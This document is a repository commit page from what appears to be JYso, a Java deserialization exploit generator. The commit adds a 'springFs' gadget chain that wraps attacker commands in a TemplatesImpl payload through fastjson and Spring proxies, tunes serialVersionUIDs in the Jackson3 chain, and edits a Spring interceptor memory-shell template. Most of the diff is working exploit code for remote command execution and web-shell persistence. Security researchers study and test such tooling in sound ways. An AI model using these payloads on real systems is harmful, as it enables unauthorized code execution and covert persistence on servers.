archive/JYso
1
0
Fork 0
mirror of https://github.com/qi4L/JYso.git synced 2026-09-21 22:40:43 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

feat: add gadget springFs

Browse Source
This commit is contained in:
qi4l
2026-03-26 11:55:17 +08:00
parent d54a51d98b
commit e3cdf5148c
9 changed files with 124 additions and 11 deletions
Download Patch File Download Diff File Expand all files Collapse all files
build.gradle
+1 -1
View File
@@ -127,7 +127,7 @@ dependencies {
group = 'org.example'
version = '1.3.6'
version = '1.3.6.1'
description = 'JYso'
java.sourceCompatibility = JavaVersion.VERSION_1_8
src/main/java/com/qi4l/JYso/controllers/ysoserial.java
+1
View File
@@ -13,6 +13,7 @@ import java.io.FileOutputStream;
import java.io.OutputStream;
import java.util.*;
import static com.qi4l.JYso.gadgets.Config.Config.BASE64;
import static com.qi4l.JYso.gadgets.Config.Config.logo;
import static com.qi4l.JYso.gadgets.utils.HexUtils.generatePassword;
import static com.qi4l.JYso.gadgets.utils.StringUtil.isFromExploit;
src/main/java/com/qi4l/JYso/gadgets/Jackson3.java
+5 -6
View File
@@ -6,8 +6,6 @@ import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import javassist.ClassClassPath;
import org.springframework.aop.framework.AdvisedSupport;
import javassist.ClassPool;
@@ -24,7 +22,6 @@ import java.lang.reflect.*;
import java.util.Vector;
import static com.qi4l.JYso.gadgets.Config.Config.POOL;
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
@@ -38,7 +35,7 @@ public class Jackson3 implements ObjectPayload<Object> {
//<=6.0.23为6115154060221772279
//>=6.1.0 为273003553246259276
String sUID = "6115154060221772279";
String sUID = "273003553246259276";
CtClass ctDefaultAdvisorChainFactory = insertField(
"org.springframework.aop.framework.DefaultAdvisorChainFactory",
"private static final long serialVersionUID = " + sUID + "L;");
@@ -57,16 +54,18 @@ public class Jackson3 implements ObjectPayload<Object> {
public static Object getEventListenerList(Object obj) throws Exception {
//>=6.1.0 为-7977902244297240866
//<=6.0.23为-5677132037850737084
String sUID1 = "7977902244297240866";
CtClass ctEventListenerList = insertField(
"javax.swing.event.EventListenerList",
"private static final long serialVersionUID = -5677132037850737084;");
"private static final long serialVersionUID = -" + sUID1 + "L;");
Object list = ctEventListenerList.toClass(new SuClassLoader()).newInstance();
//>=6.1.0 为-1045223116463488483
//<=6.0.23为-2077529998244066750
String sUID2 = "1045223116463488483";
CtClass ctUndoManager = insertField(
"javax.swing.undo.UndoManager",
"private static final long serialVersionUID = -2077529998244066750L;");
"private static final long serialVersionUID = -" + sUID2 + "L;");
Object undomanager = ctUndoManager.toClass(new SuClassLoader()).newInstance();
//取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象，并把需要触发toString的类add进去。
src/main/java/com/qi4l/JYso/gadgets/Jackson4.java
+4
View File
@@ -1,6 +1,8 @@
package com.qi4l.JYso.gadgets;
import com.fasterxml.jackson.databind.node.POJONode;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.sun.org.apache.xpath.internal.objects.XObject;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
@@ -14,6 +16,8 @@ import static com.qi4l.JYso.gadgets.Jackson3.makeTemplatesImplAopProxy;
//Jackson1链的JDK17改造
@Dependencies({"spring-apo:6.2.10"})
@Authors({Authors.QI4L})
public class Jackson4 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
src/main/java/com/qi4l/JYso/gadgets/cb192.java
+1
View File
@@ -15,6 +15,7 @@ public class cb192 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
final Object template;
template = Gadgets.createTemplatesImpl(command);
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
src/main/java/com/qi4l/JYso/gadgets/springFs.java
+101
View File
@@ -0,0 +1,101 @@
package com.qi4l.JYso.gadgets;
import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtField;
import javassist.NotFoundException;
import org.apache.logging.log4j.core.jackson.JsonConstants;
import org.springframework.beans.factory.ObjectFactory;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.ArrayList;
import java.util.HashMap;
import static com.qi4l.JYso.gadgets.JDKUtil.makeMap;
public class springFs implements ObjectPayload<Object>, Serializable {
// jdk7下使用badAttributeValueExpException,jdk8以上使用xString可打高版本JDK(jdk17)
public String toString = "badAttributeValueExpException";
// 低版本Spring-beans <5.3 -8835275493235412717
// 高版本Spring-beans >=5.3 -1515767093960859525"
public String serialVersionUID = "-1515767093960859525";
private Object inv;
public static ClassPool pool = ClassPool.getDefault();
@Override
public Object getObject(String command) throws Exception {
Object obj = Gadgets.createTemplatesImpl(command);
if (this.serialVersionUID == "-1515767093960859525") {
CtClass ctClass;
try {
ctClass = pool.get("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
} catch (NotFoundException e) {
ctClass = pool.makeClass("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
}
if (ctClass.isFrozen()) {
ctClass.defrost();
}
try {
CtField field = ctClass.getDeclaredField("serialVersionUID");
ctClass.removeField(field);
} catch (NotFoundException e) {
}
ctClass.addField(CtField.make("private static final long serialVersionUID = " + serialVersionUID + "L;", ctClass));
Class<?> aClass = ctClass.toClass(new URLClassLoader(new URL[0]), null);
this.inv = Reflections.createWithoutConstructor(aClass);
ctClass.defrost();
} else {
this.inv = Reflections.createWithoutConstructor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
}
HashMap<String, Object> hashMap = new HashMap<>();
hashMap.put("object", obj);
JSONObject jsonObject = new JSONObject(hashMap);
Object o2 = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), new Class[]{ObjectFactory.class}, jsonObject);
Reflections.setFieldValue(this.inv, "objectFactory", o2);
Object o = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), new Class[]{Templates.class}, (InvocationHandler) this.inv);
JSONArray jsonArray = new JSONArray();
jsonArray.add(o);
if (this.toString.equals("xString")) {
Class<?> aClass1 = Class.forName("com.sun.org.apache.xpath.internal.objects.XStringForChars");
Object xString = Reflections.createWithoutConstructor(aClass1);
Reflections.setFieldValue(xString, "m_obj", new char[0]);
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
hashMap1.put("zZ", xString);
hashMap1.put("yy", jsonArray);
hashMap2.put("yy", xString);
hashMap2.put("zZ", jsonArray);
Object map = makeMap(hashMap1, hashMap2);
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(obj);
arrayList.add(o);
arrayList.add(map);
return arrayList;
}
Object badAttributeValueExpException = new BadAttributeValueExpException(null);
Reflections.setFieldValue(badAttributeValueExpException, "val", jsonArray);
Reflections.setFieldValue(badAttributeValueExpException, "stackTrace", new StackTraceElement[0]);
Reflections.setFieldValue(badAttributeValueExpException, "suppressedExceptions", null);
Reflections.setFieldValue(badAttributeValueExpException, JsonConstants.ELT_CAUSE, null);
ArrayList<Object> arrayList2 = new ArrayList<>();
arrayList2.add(obj);
arrayList2.add(badAttributeValueExpException);
return arrayList2;
}
}
src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java
+6 -1
View File
@@ -52,7 +52,12 @@ public class Serializer implements Callable<byte[]> {
}
public static void qiserialize(Object obj, final OutputStream out,String payloadType,String Command) throws Exception {
public static void qiserialize(
Object obj,
final OutputStream out,
String payloadType,
String Command
) throws Exception {
ObjectOutputStream objOut = null;
AbstractHessianOutput AobjOut = null;
ByteArrayOutputStream outB64 = new ByteArrayOutputStream();
src/main/java/com/qi4l/JYso/template/memshellStatic/spring/SpringInterceptorMS.java
+3 -1
View File
@@ -49,11 +49,13 @@ public class SpringInterceptorMS extends HandlerInterceptorAdapter {
//添加SpringInterceptorTemplate类到adaptedInterceptors
adaptedInterceptors.add(new SpringInterceptorMS());
} catch (Exception ignored) {
System.out.println(ignored);
}
}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
System.out.println("注入成功");
return true;
}
}
src/test/java/com/example/demo/demos/web/Test.java
+2 -2
View File
@@ -8,9 +8,9 @@ import java.util.Base64;
public class Test {
public static void main(String[] args) throws Exception {
final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass("Jackson3");
final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass("jackson4");
ObjectPayload payload = payloadClass.newInstance();
Object object = payload.getObject("calc");
Object object = payload.getObject("dir"); //EX-MS-SpringInterceptorMS-gz
secCig rootObj = new secCig();
rootObj.setMessage("qi4l");